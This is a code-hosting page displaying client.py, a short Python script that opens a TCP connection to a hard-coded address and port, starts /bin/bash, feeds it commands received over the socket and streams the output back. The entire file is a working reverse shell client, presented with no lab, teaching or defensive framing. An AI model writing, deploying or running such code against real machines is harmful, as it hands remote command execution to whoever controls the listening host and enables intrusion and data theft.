Repository navigation
Expand file tree
/
Copy pathclient.py
More file actions
70 lines (50 loc) · 1.6 KB
/
Copy pathclient.py
File metadata and controls
70 lines (50 loc) · 1.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from subprocess import Popen, PIPE
import socket
import threading
import time
remote_host = '192.168.149.1'
remote_port = 2333
class Client(object):
def __init__(self):
self.socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socks.connect((remote_host, remote_port))
self.stdout_w = open('/tmp/stdout', 'wb+')
self.stdout_w.write(b'')
self.stdout_r = open('/tmp/stdout', 'rb+')
self.bash = Popen('/bin/bash', shell=True, stdin=PIPE, stdout=self.stdout_w, stderr=self.stdout_w, bufsize=10)
def run(self):
t1 = threading.Thread(target=self.send_to_server)
t1.setDaemon(True)
t1.start()
t2 = threading.Thread(target=self.retrieve_from_server)
t2.setDaemon(True)
t2.start()
t1.join()
t2.join()
def retrieve_from_server(self):
cmd_line = list()
while True:
try:
cmd = self.socks.recv(4096)
print(cmd)
self.bash.stdin.write(cmd)
if cmd.endswith(b'\n'):
self.bash.stdin.flush()
except:
pass
time.sleep(0.1)
def send_to_server(self):
while True:
newline = self.stdout_r.read()
if newline:
# print('[debug] stdout: {}'.format(newline.decode()))
self.socks.send(newline)
self.stdout_w.write(b'')
time.sleep(0.1)
def __del__(self):
self.stdout_w.close()
def main():
c = Client()
c.run()
if __name__ == "__main__":
main()